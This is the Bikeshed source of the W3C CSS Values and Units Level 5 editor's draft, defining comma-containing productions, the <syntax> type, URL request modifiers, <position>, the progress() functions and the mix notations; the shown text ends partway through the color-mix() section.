Overview.bs

<pre class='metadata'>
Title: CSS Values and Units Module Level 5
Group: CSSWG
Shortname: css-values
Level: 5
Status: ED
Work Status: Exploring
ED: https://drafts.csswg.org/css-values-5/
TR: https://www.w3.org/TR/css-values-5/
Editor: Tab Atkins, Google, http://xanthir.com/contact/, w3cid 42199
Editor: Elika J. Etemad / fantasai, Apple, http://fantasai.inkedblade.net/contact, w3cid 35400
Editor: Miriam E. Suzanne, Invited Expert, http://miriamsuzanne.com/contact, w3cid 117151
Abstract: This CSS module describes the common values and units that CSS properties accept and the syntax used for describing them in CSS property definitions.
Ignored Terms: <spacing-limit>, containing block, property, <wq-name>
Ignored Vars: Cn+1, n
Inline Github Issues: no
Default Highlight: css
</pre>
<pre class='link-defaults'>
spec:css-values-4; type: dfn;
	text: determine the type of a calculation
	text: keyword
	text: identifier
spec:selectors-4; type: dfn; text: selector
spec:css-conditional-5; type:type; text:<size-feature>
spec:css-conditional-5; type:dfn; text:container feature
spec:css-conditional-5; type:type; text:<container-name>
spec:css-mixins-1; type:dfn; text:custom function
spec:css-properties-values-api; type:dfn; text: supported syntax component names
spec:html; type:element; text:link
spec:infra; type:dfn; text:list
</pre>
<style>
code, small { white-space: nowrap }
pre.value { font: inherit; white-space: pre-wrap; margin: 0; padding: 0; }
#propvalues td { text-align: right; }
#propvalues td + td { text-align: left; }
dt + dt::before { content: ", "; }
dl:not(.switch) dt { display: inline; }
td > small { display: block; }
</style>

<h2 id="intro">
Introduction</h2>

	ISSUE: <strong>This is a diff spec against <a href="https://www.w3.org/TR/css-values-4/">CSS Values and Units Level 4</a>.</strong>

<h3 id="placement">
Module Interactions</h3>

	This module extends [[CSS-VALUES-4]]
	which replaces and extends the data type definitions in [[!CSS21]] sections
	<a href="https://www.w3.org/TR/CSS21/about.html#value-defs">1.4.2.1</a>,
	<a href="https://www.w3.org/TR/CSS21/syndata.html#values">4.3</a>,
	and <a href="https://www.w3.org/TR/CSS21/aural.html#aural-intro">A.2</a>.

<h2 id="textual-values">
Textual Data Types</h2>

	See [[css-values-4#textual-values]].


<!-- Big Text: syntax

 ███▌  █   ▐▌ █    █▌ █████▌  ███▌  █     █
█▌  █▌ ▐▌  █  █▌   █▌   █▌   ▐█ ▐█   █   █
█▌      █ ▐▌  ██▌  █▌   █▌   █▌  █▌   █ █
 ███▌   ▐▌█   █▌▐█ █▌   █▌   █▌  █▌    █
    █▌   █▌   █▌  ██▌   █▌   █████▌   █ █
█▌  █▌   █▌   █▌   █▌   █▌   █▌  █▌  █   █
 ███▌    █▌   █▌   ▐▌   █▌   █▌  █▌ █     █
-->

<h2 id=value-defs>
Value Definition Syntax</h2>

	See [[css-values-4#value-defs]].

<h3 id=component-functions>
Functional Notation Definitions</h3>

	See [[css-values-4#component-functions]].

<h4 id=component-function-commas>
Commas in Function Arguments</h4>

	[=Functional notation=] often uses commas
	to separate parts of its internal grammar.
	However, some functions
	(such as ''mix()'')
	allow values that, themselves,
	can contain commas.
	These values
	(currently <<whole-value>>, <<declaration-value>>, and <<any-value>>)
	are <dfn export>comma-containing productions</dfn>.

	To accommodate these sorts of grammars unambiguously,
	the [=comma-containing productions=] can be optionally wrapped in curly braces {}.
	These braces are syntactic, not part of the actual value.
	Specifically:

	* A [=comma-containing production=] can either start with a "{" token, or not.
	* If it does not start with a "{" token,
		then it cannot contain commas or {} blocks,
		in addition to whatever specific restrictions it defines for itself.
		(The production stops parsing at that point,
		so the comma or {} block is matched by the next grammar term instead;
		probably the function's own argument-separating comma.)
	* If it does start with a "{" token,
		then the production matches just the {} block that the "{" token opens.
		It represents the <em>contents</em> of that block,
		and applies whatever specific restrictions it defines for itself
		to those contents,
		ignoring the {} block wrapper.

	<div class="example">
		For example, the grammar of the ''random-item()'' function is:

		<pre>
			random-item( <<random-caching-options>>, [<<declaration-value>>?]# )
		</pre>

		The ''#'' indicates comma-separated repetitions,
		so randomly choosing between three keywords
		would be written as normal for functions,
		like:

		<pre>
			font-family: random-item(--x, serif, sans-serif, monospace);
		</pre>

		However, sometimes the values you want to choose between
		need to include commas.
		When this is the case,
		wrapping the values in {}
		allows their commas to be distinguished
		from the function's argument-separating commas:

		<pre>
			font-family: random-item(--x, {Times, serif}, {Arial, sans-serif}, {Courier, monospace});
		</pre>

		This randomly chooses one of three font-family lists:
		either ''Times, serif'', or ''Arial, sans-serif'', or ''Courier, monospace''.

		This is not all-or-nothing;
		you can use {} around <em>some</em> arguments that need it,
		while leaving others bare when they don't need it.
		You are also allowed to use {} around a value when it's not strictly required.
		For example:

		<pre>
			font-family: random-item(--x, {Times, serif}, sans-serif, {monospace});
		</pre>

		This represents choosing between three font-family lists:
		either ''Times, serif'', or ''sans-serif'', or ''monospace''.

		However, this {}-wrapping is <em>only</em> allowed for some function arguments--
		those defined as [=comma-containing productions=].
		It's not valid for any other productions;
		if you use {} around other function arguments,
		it'll just fail to match the function's grammar
		and become invalid.
		For example, the following is <strong>invalid</strong>:

		<pre>
			background-image: linear-gradient(to left, {red}, magenta);
		</pre>
	</div>

	Note: Because {} wrappers are allowed even when not explicitly required,
	they can be used defensively around values
	when the author isn't sure if they'll end up containing commas or not,
	due to [=arbitrary-substitution functions=] like ''var()''.
	For example, ''font-family: random-item(--x, {var(--list1)}, monospace)''
	will work correctly
	regardless of whether the ''--list1'' custom property
	contains a comma-separated list or not.

	[=Functional notations=] are serialized without {} wrappers whenever possible.

	The following generic productions are [=comma-containing productions=]:

	* <<any-value>>
	* <<whole-value>>
	* <<declaration-value>>

	For legacy compat reasons,
	the <<declaration-value>> defined the fallback value for ''var()''
	is a <dfn export>non-strict comma-containing production</dfn>.
	It ignores the rules restricting what it can contain
	when it does not start with a "{" token:
	it is allowed to contain commas and {} blocks.
	It still follows the standard [=comma-containing production=] rules
	when it <em>does</em> start with a "{" token, however:
	the fallback is just the contents of the {} block,
	and doesn't include the {} wrapper itself.

	Other contexts <em>may</em> define that they use [=non-strict comma-containing productions=],
	but it <em>should</em> be avoided unless necessary.

<h3 id=css-syntax>
Specifying CSS Syntax in CSS: the <<syntax>> type</h3>

Some features in CSS,
such as the ''attr()'' function,
[=registered custom properties=],
or [=custom function parameters=],
allow you to specify how <em>another</em> value is meant to be parsed.
This is declared via the <<syntax>> production,
which resembles a limited form of the CSS [=value definition syntax=]
used in specifications to define CSS features,
and which represents a [=syntax definition=]:

<pre class="prod def" nohighlight>
	<dfn><<syntax>></dfn> = '*' | <<syntax-component>> [ <<syntax-combinator>> <<syntax-component>> ]+
	<dfn><<syntax-component>></dfn> = <<syntax-single-component>> <<syntax-multiplier>>?
	                   | '<' transform-list '>'
	<dfn><<syntax-single-component>></dfn> = '<' <<syntax-type-name>> '>' | <<ident>>
	<dfn><<syntax-type-name>></dfn> = angle | color | custom-ident | image | integer
	                   | length | length-percentage | number
	                   | percentage | resolution | string | time
	                   | url | transform-function
	<dfn><<syntax-combinator>></dfn> = '|'
	<dfn><<syntax-multiplier>></dfn> = [ '#' | '+' ]
</pre>

A <<syntax-component>> consists of either
a <<syntax-type-name>> between &lt;&gt; (angle brackets),
which maps to one of the [=supported syntax component names=],
or an <<ident>>, which represents any [=keyword=].
Additionally,
a <<syntax-component>> may contain a [[css-properties-values-api-1#multipliers|multiplier]],
which indicates a [=list=] of values.

Note: This means that <code>&lt;length&gt;</code>
	and <code>length</code> are two different types:
	the former describes a <<length>>,
	whereas the latter describes a [=keyword=] <code>length</code>.

Multiple <<syntax-component>>s may be [[css-properties-values-api-1#combinator|combined]]
with a <code>|</code> <<delim-token>>,
causing the syntax components to be matched
against a value
in the specified order.

<div class='example'>
	<xmp class='lang-css'>
		<percentage> | <number> | auto
	</xmp>

	The above, when parsed as a <<syntax>>,
	would accept <<percentage>> values,
	<<number>> values,
	as well as the keyword <code>auto</code>.
</div>

<div class='example'>
	<xmp class='lang-css'>
	red | <color>
	</xmp>

	The [=syntax definition=] resulting from the above <<syntax>>,
	when used as a grammar for [=parse|parsing=],
	would match an input <code>red</code> as an [=identifier=],
	but would match an input <code>blue</code> as a <<color>>.
</div>

The <code>*</code> <<delim-token>> represents the [=universal syntax definition=].

The <code>&lt;transform-list&gt;</code> production
is a convenience form equivalent to <code>&lt;transform-function&gt;+</code>.
<span class=note>Note that <code>&lt;transform-list&gt;</code> may not
	be followed by a <<syntax-multiplier>>.</span>

[=Whitespace=] is not allowed
between the angle bracket <<delim-token>>s (<code>&lt;</code> <code>&gt;</code>)
and the <<syntax-type>> they enclose,
nor is [=whitespace=] allowed to precede a <<syntax-multiplier>>.

Note: The [=whitespace=] restrictions also apply to <code>&lt;transform-list&gt;</code>.


<h2 id="level-4-extensions">
Extensions to Level 4 Value Types</h3>

	See <a href="https://www.w3.org/TR/css-values-4/">CSS Values and Units Level 4</a>.

<!-- Big Text: url

█▌  █▌ ████▌  █▌
█▌  █▌ █▌  █▌ █▌
█▌  █▌ █▌  █▌ █▌
█▌  █▌ ████▌  █▌
█▌  █▌ █▌▐█   █▌
█▌  █▌ █▌ ▐█  █▌
 ███▌  █▌  █▌ █████
-->

<h3 id="urls">
Resource Locators: the <<url>> type</h3>

	See [[css-values-4#urls]].

<h4 id='request-url-modifiers'>
Request URL Modifiers</h4>

	<dfn><<request-url-modifier>></dfn>s are <<url-modifier>>s
	that affect the <<url>>’s resource [=/request=]
	by applying associated [=URL request modifier steps=].
	See [[css-values-4#url-processing]].

	This specification defines the following <<request-url-modifier>>s:

	<pre class=prod>
		<<request-url-modifier>> = <<crossorigin-modifier>> | <<integrity-modifier>> | <<referrerpolicy-modifier>>
		<<crossorigin-modifier>> = crossorigin(anonymous | use-credentials)
		<<integrity-modifier>> = integrity(<<string>>)
		<<referrerpolicy-modifier>> = referrerpolicy(no-referrer | no-referrer-when-downgrade | same-origin | origin | strict-origin | origin-when-cross-origin | strict-origin-when-cross-origin | unsafe-url)
	</pre>

	<dl dfn-for="<request-url-modifier>">
		<dt><dfn><<crossorigin-modifier>></dfn> = <dfn function lt="crossorigin()">crossorigin</dfn>(<dfn value>anonymous</dfn> | <dfn value>use-credentials</dfn>)
		<dd>
			The [=URL request modifier steps=] for this modifier given [=/request=] |req| are:

			1. Set [=/request=]'s [=request/mode=] to "cors".

			2. If the given value is ''use-credentials'',
				set [=/request=]'s [=request/credentials mode=] to "include".

		<dt><dfn><<integrity-modifier>></dfn> = <dfn function lt="integrity()">integrity</dfn>(<<string>>)
		<dd>
			The [=URL request modifier steps=] for this modifier given [=/request=] |req|
			are to set [=/request=]'s [=request/integrity metadata=]
			to the given <<string>>.

		<dt><dfn><<referrerpolicy-modifier>></dfn> = <dfn function lt="referrerpolicy()">referrerpolicy</dfn>(<dfn value>no-referrer</dfn> | <dfn value>no-referrer-when-downgrade</dfn> | <dfn value>same-origin</dfn> | <dfn value>origin</dfn> | <dfn value>strict-origin</dfn> | <dfn value>origin-when-cross-origin</dfn> | <dfn value>strict-origin-when-cross-origin</dfn> | <dfn value>unsafe-url</dfn>)
		<dd>
			The [=URL request modifier steps=] for this modifier given [=/request=] |req|
			are to set [=/request=]'s [=request/referrer policy=]
			to the {{ReferrerPolicy}} that matches the given value.
	</dl>

	<div algorithm>
		To <dfn export>apply request modifiers from URL value</dfn>
		given a [=/request=] |req|
		and a <<url>> |url|,
		call the [=URL request modifier steps=] for |url|'s <<request-url-modifier>>s in sequence
		given |req|.
	</div>


<!-- Big Text: position

████▌   ███▌   ███▌  ████ █████▌ ████  ███▌  █    █▌
█▌  █▌ █▌  █▌ █▌  █▌  ▐▌    █▌    ▐▌  █▌  █▌ █▌   █▌
█▌  █▌ █▌  █▌ █▌      ▐▌    █▌    ▐▌  █▌  █▌ ██▌  █▌
████▌  █▌  █▌  ███▌   ▐▌    █▌    ▐▌  █▌  █▌ █▌▐█ █▌
█▌     █▌  █▌     █▌  ▐▌    █▌    ▐▌  █▌  █▌ █▌  ██▌
█▌     █▌  █▌ █▌  █▌  ▐▌    █▌    ▐▌  █▌  █▌ █▌   █▌
█▌      ███▌   ███▌  ████   █▌   ████  ███▌  █▌   ▐▌
-->

<h3 id="position">
2D Positioning: the <<position>> type</h3>

	The <dfn><<position>></dfn> value specifies the position
	of an [=alignment subject=] (e.g. a background image)
	inside an [=alignment container=] (e.g. its [=background positioning area=])
	as a pair of offsets between the specified edges
	(defaulting to the left and top).
	Its syntax is:

	<pre class=prod>
	<<position>> = <<position-one>> | <<position-two>> | <<position-four>>
	<dfn><<position-one>></dfn> = [
	  left | center | right | top | bottom |
	  x-start | x-end | y-start | y-end |
	  block-start | block-end | inline-start | inline-end |
	  <<length-percentage>>
	]
	<dfn><<position-two>></dfn> = [
	  [ left | center | right | x-start | x-end ] &&
	  [ top | center | bottom | y-start | y-end ]
	|
	  [ left | center | right | x-start | x-end | <<length-percentage>> ]
	  [ top | center | bottom | y-start | y-end | <<length-percentage>> ]
	|
	  [ block-start | center | block-end ] &&
	  [ inline-start | center | inline-end ]
	|
	  [ start | center | end ]{2}
	]
	<dfn><<position-four>></dfn> = [
	  [ [ left | right | x-start | x-end ] <<length-percentage>> ] &&
	  [ [ top | bottom | y-start | y-end ] <<length-percentage>> ]
	|
	  [ [ block-start | block-end ] <<length-percentage>> ] &&
	  [ [ inline-start | inline-end ] <<length-percentage>> ]
	|
	  [ [ start | end ] <<length-percentage>> ]{2}
	]
	</pre>

	If only one value is specified (<<position-one>>),
	the second value is assumed to be ''center''.

	If two values are given (<<position-two>>),
	a <<length-percentage>> as the first value represents
	the horizontal position as the offset between
	the left edges of the [=alignment subject=] and [=alignment container=],
	and a <<length-percentage>> as the second value represents
	the vertical position as an offset between their top edges.

	If both keywords are one of ''<position>/start'' or ''<position>/end'',
	the first one represents the [=block axis=]
	and the second the [=inline axis=].

	Note: A pair of axis-specific keywords can be reordered,
	while a combination of keyword and length or percentage cannot.
	So ''center left'' or ''inline-start block-end'' is valid,
	while ''50% left'' is not.
	''<position>/start'' and ''<position>/end'' aren't axis-specific,
	so ''start end'' and ''end start'' represent two different positions.

	If four values are given (<<position-four>>)
	then each <<length-percentage>> represents an offset between
	the edges specified by the preceding keyword.
	For example, ''background-position: bottom 10px right 20px''
	represents a ''10px'' vertical offset up from the bottom edge
	and a ''20px'' horizontal offset leftward from the right edge.

	Positive values represent an offset <em>inward</em>
	from the edge of the [=alignment container=].
	Negative values represent an offset <em>outward</em>
	from the edge of the [=alignment container=].

	<div class="example">
		The following declarations give the stated (horizontal, vertical)
		offsets from the top left corner:
		<pre>
			background-position: left 10px top 15px;   /* 10px, 15px */
			background-position: left      top     ;   /*  0px,  0px */
			background-position:      10px     15px;   /* 10px, 15px */
			background-position: left          15px;   /*  0px, 15px */
			background-position:      10px top     ;   /* 10px,  0px */
		</pre>
	</div>

	<div class=example>
		<<position>>s can also be relative to other corners than the top left.
		For example, the following puts the background image
		10px from the bottom and 3em from the right:

		<pre>background-position: right 3em bottom 10px</pre>
	</div>

	The [=computed value=] of a <<position>> is
	a pair of offsets (horizontal and vertical),
	each given as a computed <<length-percentage>> value,
	representing the distance between the left edges and top edges (respectively)
	of the [=alignment subject=] and [=alignment container=].

	<dl dfn-for="<position>" dfn-type=value>
		<dt><dfn><<length-percentage>></dfn>
		<dd>
			A <<length-percentage>> value specifies the size of the offset
			between the specified edges of the [=alignment subject=] and [=alignment container=].

			For example, for ''background-position: 2cm 1cm'',
			the top left corner of the background image is placed
			2cm to the right and 1cm below
			the top left corner of the [=background positioning area=].

			A <<percentage>> for the horizontal offset is relative to
			(<var ignore>width of [=alignment container=]</var> - <var ignore>width of [=alignment subject=]</var>).
			A <<percentage>> for the vertical offset is relative to
			(<var ignore>height of [=alignment container=]</var> - <var ignore>height of [=alignment subject=]</var>).

			<div class=example>
				For example, with a value pair of ''0% 0%'',
				the upper left corner of the [=alignment subject=] is aligned with
				the upper left corner of the [=alignment container=]
				A value pair of ''100% 100%'' places
				the lower right corner of the [=alignment subject=]
				in the lower right corner of the [=alignment container=].
				With a value pair of ''75% 50%'',
				the point 75% across and 50% down the [=alignment subject=]
				is to be placed at the point 75% across and 50% down the [=alignment container=].
				<figure>
					<img src="images/bg-pos.png"
					     alt="Diagram of image position within element"
					>
					<figcaption>
					    Diagram of the meaning of ''background-position: 75% 50%''.
					</figcaption>
				</div>
			</div>

		<dt><dfn>top</dfn>
		<dt><dfn>right</dfn>
		<dt><dfn>bottom</dfn>
		<dt><dfn>left</dfn>
		<dd>
			Offsets the top/left/right/bottom edges (respectively)
			of the [=alignment subject=] and [=alignment container=]
			by the specified amount (defaulting to ''0%'')
			in the corresponding axis.

		<dt><dfn>y-start</dfn>
		<dt><dfn>y-end</dfn>
		<dt><dfn>x-start</dfn>
		<dt><dfn>x-end</dfn>
		<dd>
			Computes the same as the physical edge keyword
			corresponding to the [=start=]/[=end=] side
			in the [=y-axis|y/[=x-axis|x=] axis.

		<dt><dfn>block-start</dfn>
		<dt><dfn>block-end</dfn>
		<dt><dfn>inline-start</dfn>
		<dt><dfn>inline-end</dfn>
		<dd>
			Computes the same as the physical edge keyword
			corresponding to the [=start=]/[=end=] side
			in the [=block axis|block=]/[=inline axis|inline=] axis.

		<dt><dfn>center</dfn>
		<dd>
			Computes to a ''50%'' offset in the corresponding axis.
		</dl>

	Unless otherwise specified, the [=flow-relative=] keywords are resolved
	according to the [=writing mode=] of the element on which the value is specified.

	Note: The 'background-position' property also accepts a three-value syntax.
	This has been disallowed generically because it creates parsing ambiguities
	when combined with other length or percentage components in a property value.

	ISSUE(9690): Need to define how this syntax would expand to the longhands of 'background-position'
	if e.g. ''var()'' is used for some (or all) of the components.

<h4 id="position-parsing">
Parsing <<position>></h4>

	When specified in a grammar alongside other keywords, <<length>>s, or <<percentage>>s,
	<<position>> is <em>greedily</em> parsed;
	it consumes as many components as possible.

	<div class=example>
		For example,
		'transform-origin' defines a 3D position
		as (effectively) ''<<position>> <<length>>?''.
		A value such as ''left 50px''
		will be parsed as a 2-value <<position>>,
		with an omitted z-component;
		on the other hand,
		a value such as ''top 50px''
		will be parsed as a single-value <<position>>
		followed by a <<length>>.
	</div>

<h4 id="position-serialization">
Serializing <<position>></h4>

	When serializing the [=specified value=] of a <<position>>:

	<dl class=switch>
		<dt>If only one component is specified:
		<dd>
			* The implied <a value spec="css-backgrounds-3">center</a> keyword is added,
				and a 2-component value is serialized.

		<dt>If two components are specified:
		<dd>
			* Keywords are serialized as keywords.
			* <<length-percentage>>s are serialized as <<length-percentage>>s.
			* Components are serialized horizontal first, then vertical.

		<dt>If four components are specified:
		<dd>
			* Keywords and offsets are both serialized.
			* Components are serialized horizontal first, then vertical;
				alternatively [=block-axis=] first, then [=inline-axis=].
	</dl>

	Note: <<position>> values are never serialized as a single value,
	even when a single value would produce the same behavior,
	to avoid causing parsing ambiguities in some grammars
	where a <<position>> is placed next to a <<length>>,
	such as 'transform-origin'.

	The [=computed value=] of a <<position>>
	is serialized as a pair of <<length-percentage>>s
	representing offsets from the left and top edges, in that order.

<h4 id="combine-positions">
Combination of <<position>></h4>

	<l spec=css-values-4>[=Interpolation=]</l> of <<position>> is defined as
	the independent interpolation of each component (x, y)
	normalized as an offset from the top left corner
	as a <<length-percentage>>.

	<l spec=css-values-4>[=value addition|Addition=]</l> of <<position>> is likewise defined as
	the independent <l spec=css-values-4>[=value addition|addition=]</l> each component (x, y)
	normalized as an offset from the top left corner
	as a <<length-percentage>>.


<!-- Big Text: interp

████ █    █▌ █████▌ █████▌ ████▌  ████▌
 ▐▌  █▌   █▌   █▌   █▌     █▌  █▌ █▌  █▌
 ▐▌  ██▌  █▌   █▌   █▌     █▌  █▌ █▌  █▌
 ▐▌  █▌▐█ █▌   █▌   ████   ████▌  ████▌
 ▐▌  █▌  ██▌   █▌   █▌     █▌▐█   █▌
 ▐▌  █▌   █▌   █▌   █▌     █▌ ▐█  █▌
████ █▌   ▐▌   █▌   █████▌ █▌  █▌ █▌
-->

<h2 id="progress">
Interpolation Progress Functional Notations</h2>

	ISSUE(6245): This section is an exploratory draft, and not yet approved by the CSSWG.

	The ''progress()'', ''media-progress()'', and ''container-progress()'' [=functional notations=]
	represent the proportional distance
	of a given value (the <dfn noexport>progress value</dfn>)
	from one value (the <dfn noexport>progress start value</dfn>)
	to another value (the <dfn noexport>progress end value</dfn>).
	They allow drawing a progress ratio from
	[=math functions=], [=media features=], and [=container features=],
	respectively,
	following a common syntactic pattern:

	<pre class=prod>
		<var>progress-function</var>() = <var>progress-function</var>( <var>progress value</var> from <var>start value</var> to <var>end value</var> )
	</pre>

	Each resolves to a <<number>>
	by [=calculating a progress function=].

	<div algorithm>
		To <dfn export>calculate a progress function</dfn>,
		given a [=progress value=],
		[=progress start value=],
		and [=progress end value=]:

		: If the [=progress start value=] and [=progress end value=] are different values
		:: <code>([=progress value=] - [=progress start value=]) / ([=progress end value=] - [=progress start value=])</code>.
		: If the [=progress start value=] and [=progress end value=] are the same value
		:: 0, -∞, or +∞,
			depending on whether [=progress value=]
			is equal to, less than, or greater than
			the shared value.

		Note: The return value is a plain <<number>>,
		not [=made consistent=] with its arguments by default.
	</div>

	The resulting number can then be input into other calculations,
	such as a [=math function=]
	or a [=mix notation=].

<h3 id="progress-func">
Calculated Progress Values: the ''progress()'' notation</h3>

	The <dfn>progress()</dfn> functional notation
	returns a <<number>> value
	representing the position of one [=calculation=]
	(the [=progress value=])
	between two other [=calculations=]
	(the [=progress start value=]
	and [=progress end value=]).
	''progress()'' is a [=math function=].

	The syntax of ''progress()'' is defined as follows:

	<pre class=prod>
		<dfn id=typedef-progress-fn><<progress()>></dfn> = progress(<<calc-sum>> from <<calc-sum>> to <<calc-sum>>)
	</pre>

	where the first, second, and third <<calc-sum>> values represent
	the [=progress value=], [=progress start value=], and [=progress end value=],
	respectively.

	The argument [=calculations=] can resolve to any <<number>>, <<dimension>>, or <<percentage>>,
	but must have a [=consistent type=]
	or else the function is invalid.

	The result will be a <<number>>,
	determined by [=calculating a progress function=],
	then [=made consistent=] with the [=consistent type=] of its arguments.

	ISSUE: Do we need a ''percent-progress()'' notation,
	or do enough places auto-convert that it's not necessary?

	Note: The ''progress()'' function is essentially syntactic sugar
	for a particular pattern of ''calc()'' notations,
	so it's a [=math function=].

<h3 id="media-progress-func">
Media Query Progress Values: the ''media-progress()'' notation</h3>

	Similar to the ''progress()'' notation,
	the <dfn>media-progress()</dfn> functional notation
	returns a <<number>> value
	representing current value of the specified [=media query=]
	[[!MEDIAQUERIES-4]]
	as a [=progress value=]
	between two explicit values of the [=media query=]
	(as the [=progress start value=] and [=progress end value=]).

	The syntax of ''media-progress()'' is defined as follows:

	<pre class=prod>
		<dfn><<media-progress()>></dfn> = media-progress(<<media-feature>> from <<calc-sum>> to <<calc-sum>>)
	</pre>

	where the value of the <<media-feature>> is the [=progress value=],
	and the two calculations are the [=progress start value=] and [=progress end value=],
	respectively.

	The specified [=media query=] must be a valid “range” type query,
	and the specified [=progress start value=] and [=progress end value=]
	must be valid values for the specified [=media query=],
	or else the function is invalid.
	Units in the [=progress start value=] and [=progress end value=]
	are interpreted as specified for the [=media feature=]
	(rather than as specified by the context the function is used in).

	The result will be a <<number>>,
	determined by [=calculating a progress function=].

	Note: ''media-progress()'' is <em>not</em> a [=math function=];
	it's just a function that evaluates to a <<number>>.

<h3 id="container-progress-func">
Container Query Progress Values: the ''container-progress()'' notation</h3>

	The <dfn>container-progress()</dfn> functional notation
	is identical to the ''media-progress()'' functional notation,
	except that it accepts [=container features=] [[!CSS-CONTAIN-3]]
	in place of [=media features=].

	The syntax of ''container-progress()'' is defined as follows:

	<pre class=prod>
		<dfn><<container-progress()>></dfn> = container-progress(<<size-feature>> [ of <<container-name>> ]? from <<calc-sum>> to <<calc-sum>>)
	</pre>

	where the optional <<container-name>> component specifies
	the named containers to consider when selecting a container
	to resolve against.
	The value of the <<size-feature>> is the [=progress value=],
	and the two calculations are the [=progress start value=] and [=progress end value=],
	respectively.

	The [=progress start value=] and [=progress end value=]
	must be valid values for the specified <<size-feature>>,
	and must have a [=consistent type=],
	or else the function is invalid.
	Units in the [=progress start value=] and [=progress end value=]
	are interpreted as specified for the [=size feature=]
	(rather than as specified by the context the function is used in).

	The result will be a <<number>>,
	determined by [=calculating a progress function=].

	If no appropriate containers are found,
	''container-progress()'' resolves its <<size-feature>> query
	against the [=small viewport size=].

	Note: ''media-progress()'' is <em>not</em> a [=math function=];
	it's just a function that evaluates to a <<number>>.


<!-- Big Text: *-mix()

              █     █ ████ █     █   ██ ██
 █   █        ██   ██  ▐▌   █   █   █▌   ▐█
  █ █         █▌█ █▐█  ▐▌    █ █   █▌     ▐█
███████ ████▌ █▌ █ ▐█  ▐▌     █    █▌     ▐█
  █ █         █▌   ▐█  ▐▌    █ █   █▌     ▐█
 █   █        █▌   ▐█  ▐▌   █   █   █▌   ▐█
              █▌   ▐█ ████ █     █   ██ ██
-->

<h2 id="mixing">
Mixing and Interpolation Notations: the *-mix() family</h2>

	ISSUE(6245): This section is an exploratory draft, and not yet approved by the CSSWG.

	Several <dfn>mix notations</dfn> in CSS
	allow representing the interpolation of two values,
	the <dfn>mix start value</dfn> and the <dfn>mix end value</dfn>,
	at a given point in progress between them (the <dfn>mix progress value</dfn>).
	These [=functional notations=] follow the syntactic pattern:

	<pre class=prod>
		<var>mix-function</var>() = <var>mix-function</var>( <<progress>>, [=mix start value|start-value=], [=mix end value|end-value=] )
	</pre>

	The [=mix notations=] in CSS include:
	* ''calc-mix()'',
		for interpolating <<length>>, <<percentage>>, <<time>>,
		and other dimensions representable in ''calc()'' expressions
	* ''color-mix()'',
		for interpolating two <<color>> values
	* ''cross-fade()'',
		for interpolating <<image>> values
	* ''palette-mix()'',
		for interpolating two 'font-palette' values

	and finally the generic ''mix()'' notation,
	which can represent the interpolation of any property's values
	(but only the property's entire value, not individual components).

	Note: The ''cross-fade()'' notation
	also has an alternative syntax
	that allows for mixing more than two values,
	but does not allow for the more complex expressions of <<progress>>.

	ISSUE: The ''mix()'' notation also has a variant that takes a set of keyframes.
	It does this by referring to an ''@keyframes'' rule,
	and pulling the corresponding property declaration out of that.
	It would be nice to allow the other mix notations to take keyframe also,
	but how would we represent a set of keyframes for a [=component value=]
	(rather than a full property value)?

<h3 id="progress-type">
Representing Interpolation Progress: the <<progress>> type</h3>

	The <dfn><<progress>></dfn> value type represents
	the [=mix progress value=] in a [=mix notation=],
	and ultimately resolves to a percentage.
	It can, however, draw that percentage value
	from sources such as media queries and animation timelines,
	and can also convert it through an [=easing function=]
	before using it for interpolation.

	Its syntax is defined as follows:
	<pre class=prod>
		<<progress>> = [ <<percentage>> | <<number>> | <<'animation-timeline'>> ] && [ by <<easing-function>> ]?
	</pre>

	where:

	<dl dfn-type=value dfn-for="<progress>">
		<dt><dfn><<percentage-token>></dfn>
		<dd>
			Computes to the equivalent <<number>>:
			''0%'' becomes ''0'',
			''100%'' becomes ''1'',
			etc.

			Note: This only allows literal percentages,
			like ''15%'';
			calculations like ''calc(100% / 7)'' will not work,
			as they will instead attempt to use the normal rules
			for resolving a percentage against another type
			(such as <<length>>, in 'width').
			Use expressions like ''calc(1 / 7)'' instead.

		<dt><dfn><<number>></dfn>
		<dd>
			Represents the [=mix progress value=].

			Note: This allows the use of the ''progress()'',
			''media-progress()'',
			and ''container-progress()'' notations.

		<dt><dfn><<'animation-timeline'>></dfn>
		<dd>
			Represents the [=mix progress value=]
			as the progress of the specified [[web-animations-1#timelines|animation timeline]].
			The values ''animation-timeline/none'' and ''animation-timeline/auto'', however,
			are invalid.
			[[!CSS-ANIMATIONS-2]] [[!WEB-ANIMATIONS-2]]

		<dt><dfn><<easing-function>></dfn>
		<dd>
			Converts the specified input [=mix progress value=]
			into an output [=mix progress value=]
			using the specified [=easing function=].
			[[!CSS-EASING-1]]
	</dl>

	Note: Progress values below ''0'' and above ''1'' are valid;
	they allow representing interpolation beyond the range
	defined by the start and end values.

	Note: While <<progress>> itself can be a <<percentage>>,
	mapping directly to the equivalent <<number>>,
	a function that <em>resolves</em> to a <<number>>,
	like ''progress()'',
	resolves <<percentage>>s using the normal rules for the context;
	for example, in 'width', they would be resolved against a length.

	The [=computed value=] of a <<progress>> value specified with <<percentage>> or <<number>>
	is the computed <<number>> converted through the <<easing-function>> (if any).
	The [=computed value=] of a <<progress>> value specified with <<'animation-timeline'>>
	is the computed <<'animation-timeline'>> and <<easing-function>> (if any).

<h3 id="calc-mix">
Interpolated Numeric and Dimensional Values: the ''calc-mix()'' notation</h3>

	The <dfn>calc-mix()</dfn> [=mix notation=]
	represents an interpolated numeric or dimensional value.
	Like ''calc()'', it is a [=math function=],
	with the following syntactic form:

	<pre class=prod>
		<dfn><<calc-mix()>></dfn> = calc-mix( <<progress>>, <<calc-sum>>, <<calc-sum>> )
	</pre>

	The <<calc-sum>> arguments can resolve
	to any <<number>>, <<dimension>>, or <<percentage>>,
	but must have a [=consistent type=]
	or else the function is invalid.
	The result's type will be the [=consistent type=],
	[=made consistent=] with the type of the <<progress>> value.

	The [=used value=] of a valid ''calc-mix()'' is
	the result of interpolating these two values
	to the progress given by <<progress>>.
	If the <<progress>> value can be computed to a <<number>>,
	then the [=computed value=] is likewise
	the result of interpolating the two [=computed values=]
	to that <<progress>> value
	(in other words, ''A * (1-progress) + B * progress'')
	it is otherwise the ''calc-mix()'' notation itself
	with its arguments each computed according to their type.

<h3 id="color-mix">
Interpolated Color Values: the ''color-mix()'' notation</h3>

	This specification extends the ''color-mix()'' [=functional notation=]
	as a [=mix notation=] accepting the following syntaxes:

	<pre class=prod>
		<<color-mix()>> =
		  color-mix( [ <<progress>> && <<color-interpolation-method>>? ] , <<color>>, <<color>> ) |
		  color-mix( <<color-interpolation-method>>, [<<color>> && <<percentage [0,100]>>?]#{2} )
	</pre>

